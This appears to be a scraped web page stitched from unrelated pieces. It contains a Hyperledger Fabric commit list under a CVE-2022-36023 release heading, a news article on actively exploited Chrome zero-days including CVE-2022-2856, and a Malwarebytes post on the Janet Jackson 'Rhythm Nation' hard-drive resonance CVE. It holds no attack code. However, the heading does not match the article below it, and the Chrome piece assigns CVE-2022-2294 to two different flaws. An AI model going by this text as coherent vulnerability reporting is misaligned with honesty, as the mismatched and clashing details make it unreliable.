*   3c7fa86 \[FAB-18484\] Return transaction forwarding result back to the client synchronously
*   6fbca49 Update Artem Barger email address (#2671)
*   c81f265 Link fixes detailed in FAB-18494
*   266497f Typo fix in peer deployment guide in main (#2660)
*   b4cd030 Link fixes in create channel tutorial (#2661)
*   dde41d9 Fix link in orderer deployment guide in main
*   b2f7292 Improve mvcc log warnings (#2649)
*   04796e6 Use protobuf Getters to avoid nil reference (#2646)
*   07808a0 Clarify doc for readset validations (#2647)
*   a8dbb68 FABGW-20 Implement TargetOrgs for Evaluate() (#2642)
*   85ae90c Added RetrieveBlockByNumber into blockledger (#2635)
*   1ad4422 Update secured\_private\_asset\_transfer\_tutorial.md
*   1f89be9 FABGW-21: Realtime implementation of ChaincodeEvents service (#2604)
*   34a4186 Fix minor code comment
*   9170fea Return block number along with validation code (#2614)
*   e8e39e6 \[FAB-18479\] Log error if orderer can't forward SubmitRequest to Raft leader
*   f1fc499 fix duplicate entry in code snippet
*   17dc11c Update Building docs to reflect UI changes
*   0334d52 replace brew cask install --appdir='/Applications' docker with brew install --cask docker
*   4e201af Optionally disable gossip block forwarding (#2606)
*   b4efe85 FABGW-20 Specify endorsing organizations (#2578)
*   6f0bef1 Bump vmImage to Ubuntu-20.04
*   f8070ec Maintain order of transactions in the commit notification

This list of changes was auto generated.

CVE-2022-36023: Release v2.4.6 · hyperledger/fabric

An insufficient validation input flaw, one of 11 patched in an update this week, could allow for arbitrary code execution and is under active attack.

An insufficient validation input flaw, one of 11 patched in an update this week, could allow for arbitrary code execution and is under active attack.

Google has patched the fifth actively exploited zero-day vulnerability discovered in Chrome this year as one in a series of fixes included in a stable channel update released Wednesday.

The bug, tracked as CVE-2022-2856 and rated as high on the Common Vulnerability Scoring System (CVSS), is associated with “insufficient validation of untrusted input in Intents,” according to the advisory posted by Google.

Google credits Ashley Shen and Christian Resell of its Google Threat Analysis Group (TAG) for reporting the zero-day bug, which could allow for arbitrary code execution, on July 19. The advisory also unveiled 10 other patches for various other Chrome issues.

Intents are a deep linking feature on the Android device within the Chrome browser that replaced URI schemes, which previously handled this process, according to Branch, a company that offers various linking options for mobile applications.

“Instead of assigning window.location or an iframe.src to the URI scheme, in Chrome, developers need to use their intent string as defined in this document,” the company explained on its website. Intent “adds complexity” but “automatically handles the case of the mobile app not being installed” within links, according to the post.

Insufficient validation is associated with input validation, a frequently-used technique for checking potentially dangerous inputs to ensure that they are safe for processing within the code, or when communicating with other components, according to MITRE’s Common Weakness Enumeration site.

“When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application,” according to a post on the site. “This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.”

**Fending Off Exploits**

As is typical, Google did not disclose specific details of the bug until it is widely patched to avoid threat actors taking further advantage of it, a strategy that one security professional noted is a wise one.

“Publicizing details on an actively exploited zero-day vulnerability just as a patch becomes available could have dire consequences, because it takes time to roll out security updates to vulnerable systems and attackers are champing at the bit to exploit these types of flaws,” observed Satnam Narang, senior staff research engineer at cybersecurity firm Tenable, in an email to Threatpost.

 Holding back info is also sound given that other Linux distributions and browsers, such as Microsoft Edge, also include code based on Google’s Chromium Project. These all could be affected if an exploit for a vulnerability is released, he said.

“It is extremely valuable for defenders to have that buffer,” Narang added.

While the majority of the fixes in the update are for vulnerabilities rated as high or medium risk, Google did patch a critical bug tracked as CVE-2022-2852, a use-after-free issue in FedCM reported by Sergei Glazunov of Google Project Zero on Aug. 8. FedCM—short for the Federated Credential Management API–provides a use-case-specific abstraction for federated identity flows on the web, according to Google.

**Fifth Chrome 0Day Patch So Far**

The zero-day patch is the fifth Chrome bug under active attack that Google has patched so far this year.

In July, the company fixed an actively exploited heap buffer overflow flaw tracked as CVE-2022-2294 in WebRTC, the engine that gives Chrome its real-time communications capability, while in May it was a separate buffer overflow flaw tracked as CVE-2022-2294 and under active attack that got slapped with a patch.

In April, Google patched CVE-2022-1364, a type confusion flaw affecting Chrome’s use of the V8 JavaScript engine on which attackers already had pounced. The previous month a separate type-confusion issue in V8 tracked as CVE-2022-1096 and under active attack also spurred a hasty patch.

February saw a fix for the first of this year’s Chrome zero-days, a use-after-free flaw in Chrome’s Animation component tracked as CVE-2022-0609 that already was under attack. Later it was revealed that North Korean hackers were exploiting the flaw weeks before it was discovered and patched.

Google Patches Chrome’s Fifth Zero-Day of the Year

Categories: Business
Tags: Janet Jackson

Tags:  music

Tags:  rhythm nation

Tags:  song

Tags:  video

Tags:  resonant frequency

Tags:  hard drive

We take a look at news of the Janet Jackson smash Rhythm Nation causing bizarre issues for certain older hard drive models.



(Read more...)




The post Bad rhythm: Janet Jackson song resonates poorly with some old hard drives appeared first on Malwarebytes Labs.

Janet Jackson’s Rhythm Nation music video would have caused quite the commotion back in the old Windows XP days. If you’re still running a certain model of an OEM hard drive from the Windows XP days, you may still be liable to experience the same thing today. However, said commotion was not solely down to the choreography or phenomenal beats.

Rythym Nation by Janet Jackson came with a peculiar quirk. That quirk involved crashing the hopes and dreams of the person watching it, along with their hard drive.

Microsoft writer Raymond Chen reveals the somewhat bizarre tale of Janet’s computer stomping abilities in a recent blog post.

**What was happening here?**

Back in the olden times, it turns out that specific flavours of hardware running Windows XP did not like Janet busting a move. Some different models of laptop, from competitors of the first brand, would also crash. Even more spectacularly: simply playing the song on one device could make a second device nearby crash.

Old style mechanical hard drives are slowly being replaced by SSD drives. You may find them being used by gamers for cheap and easy excess game storage, but the mechanical hard drive’s time in the sun is over.

Mechanical drives have a whole lot of vibration going on inside, and this is where the drives become vulnerable to very peculiar forms of frequency based risk. Indeed, using the resonant frequency of the drive itself to make it stop working properly is not a new concept. Low frequency noise was used in tests during 2018 to break CCTV and prevent a laptop’s operating system from working.

**Dancefloor devastation for your hard drive**

Janet, ever the innovator, was clearly one step ahead of security researchers. By chance, it turns out that Rhythm Nation matched a resonant frequency for the hard drive used in these particular types of laptop.If you run into a mechanical drive in a device these days, there’s a good chance it’ll be a 7,200 RPM drive (RPM is the number of revolutions the drive’s platter makes per minute). The drives struck here, smooth criminal style,were specific models clocking in at 5,400RPM.

Custom filters were added by manufacturers in the audio pipeline. These filters swung into action at the first sign of a Rhythm Nation intro and removed the frequencies as the audio played.

**A CVE: better late than never**

This rhythm-based tale of woe seemingly has no end. The Register noticed an entry on the list of Common Vulnerabilities and Exposures (CVEs), listed as CVE-2022-38392. From the description, surely Janet’s finest hour:

_A certain 5400 RPM OEM hard drive, as shipped with laptop PCs in approximately 2005, allows physically proximate attackers to cause a denial of service (device malfunction and system crash) via a resonant-frequency attack with the audio signal from the Rhythm Nation music video._

From further down the page, a rather relevant warning:

_Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE._

As I close the lid on my 2005 Windows XP laptop for the last time, never a truer word was spoken.

Tag

#perl